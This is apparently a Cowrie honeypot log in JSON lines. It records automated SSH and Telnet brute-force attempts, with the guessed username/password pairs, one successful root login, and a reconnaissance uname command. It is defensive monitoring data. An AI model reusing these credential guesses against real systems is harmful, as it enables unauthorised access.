{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:00:55.329536Z","src_ip":"2.57.122.208","session":"e5d966f28ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:00:55.973683Z","src_ip":"2.57.122.208","session":"e5d966f28ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:00:57.107332Z","src_ip":"2.57.122.208","session":"e5d966f28ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53268,"dst_ip":"159.203.135.109","dst_port":22,"session":"c39a3cc856e4","protocol":"ssh","message":"New connection: 2.57.122.96:53268 (159.203.135.109:22) [session: c39a3cc856e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:02:03.182941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:02:03.194911Z","src_ip":"2.57.122.96","session":"c39a3cc856e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:02:03.280434Z","src_ip":"2.57.122.96","session":"c39a3cc856e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"@WSX3edc#EDC","message":"login attempt [ubuntu/@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:02:03.779387Z","src_ip":"2.57.122.96","session":"c39a3cc856e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:02:04.900189Z","src_ip":"2.57.122.96","session":"c39a3cc856e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.75.49.32","src_port":51318,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c159f87c3d7","protocol":"telnet","message":"New connection: 177.75.49.32:51318 (159.203.135.109:23) [session: 6c159f87c3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:02:58.887848Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35160,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a185f60c288","protocol":"ssh","message":"New connection: 2.57.122.208:35160 (159.203.135.109:22) [session: 2a185f60c288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:03:10.516396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:03:10.552341Z","src_ip":"2.57.122.208","session":"2a185f60c288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:03:10.651291Z","src_ip":"2.57.122.208","session":"2a185f60c288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:03:11.212451Z","src_ip":"2.57.122.208","session":"2a185f60c288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.3755042552948,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:03:12.263206Z","src_ip":"177.75.49.32","session":"6c159f87c3d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:03:12.412464Z","src_ip":"2.57.122.208","session":"2a185f60c288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":40668,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c0519292c1b","protocol":"ssh","message":"New connection: 2.57.122.96:40668 (159.203.135.109:22) [session: 4c0519292c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:01.486889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:01.492544Z","src_ip":"2.57.122.96","session":"4c0519292c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:01.643980Z","src_ip":"2.57.122.96","session":"4c0519292c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"3edc#EDC","message":"login attempt [ubuntu/3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:02.121361Z","src_ip":"2.57.122.96","session":"4c0519292c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:03.229293Z","src_ip":"2.57.122.96","session":"4c0519292c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42464,"dst_ip":"159.203.135.109","dst_port":22,"session":"63bf9af28a2b","protocol":"ssh","message":"New connection: 2.57.122.208:42464 (159.203.135.109:22) [session: 63bf9af28a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:24.850589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:25.014368Z","src_ip":"2.57.122.208","session":"63bf9af28a2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:25.018143Z","src_ip":"2.57.122.208","session":"63bf9af28a2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:26.222997Z","src_ip":"2.57.122.208","session":"63bf9af28a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:27.329153Z","src_ip":"2.57.122.208","session":"63bf9af28a2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":52112,"dst_ip":"10.17.0.5","dst_port":22,"session":"81a84eadcb12","protocol":"ssh","message":"New connection: 163.7.6.74:52112 (10.17.0.5:22) [session: 81a84eadcb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:34.486465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:34.490633Z","src_ip":"163.7.6.74","session":"81a84eadcb12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:34.746668Z","src_ip":"163.7.6.74","session":"81a84eadcb12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"Allen","message":"login attempt [allen/Allen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:35.804771Z","src_ip":"163.7.6.74","session":"81a84eadcb12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:05:37.063614Z","src_ip":"163.7.6.74","session":"81a84eadcb12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54264,"dst_ip":"159.203.135.109","dst_port":22,"session":"da75e976607a","protocol":"ssh","message":"New connection: 2.57.122.208:54264 (159.203.135.109:22) [session: da75e976607a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:38.177096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:38.323286Z","src_ip":"2.57.122.208","session":"da75e976607a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:38.327245Z","src_ip":"2.57.122.208","session":"da75e976607a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:39.314551Z","src_ip":"2.57.122.208","session":"da75e976607a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:40.438807Z","src_ip":"2.57.122.208","session":"da75e976607a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54262,"dst_ip":"159.203.135.109","dst_port":22,"session":"87dc13eed200","protocol":"ssh","message":"New connection: 2.57.122.96:54262 (159.203.135.109:22) [session: 87dc13eed200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:57.834001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:57.853060Z","src_ip":"2.57.122.96","session":"87dc13eed200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:57.931620Z","src_ip":"2.57.122.96","session":"87dc13eed200","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin123","message":"login attempt [root/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:58.352726Z","src_ip":"2.57.122.96","session":"87dc13eed200","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:58.596537Z","src_ip":"2.57.122.96","session":"87dc13eed200","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:58.598903Z","src_ip":"2.57.122.96","session":"87dc13eed200","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:58.697570Z","src_ip":"2.57.122.96","session":"87dc13eed200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:07:58.701797Z","src_ip":"2.57.122.96","session":"87dc13eed200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.147.153","src_port":43850,"dst_ip":"10.17.0.5","dst_port":22,"session":"33546ef67004","protocol":"ssh","message":"New connection: 161.248.147.153:43850 (10.17.0.5:22) [session: 33546ef67004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:27.109419Z"}
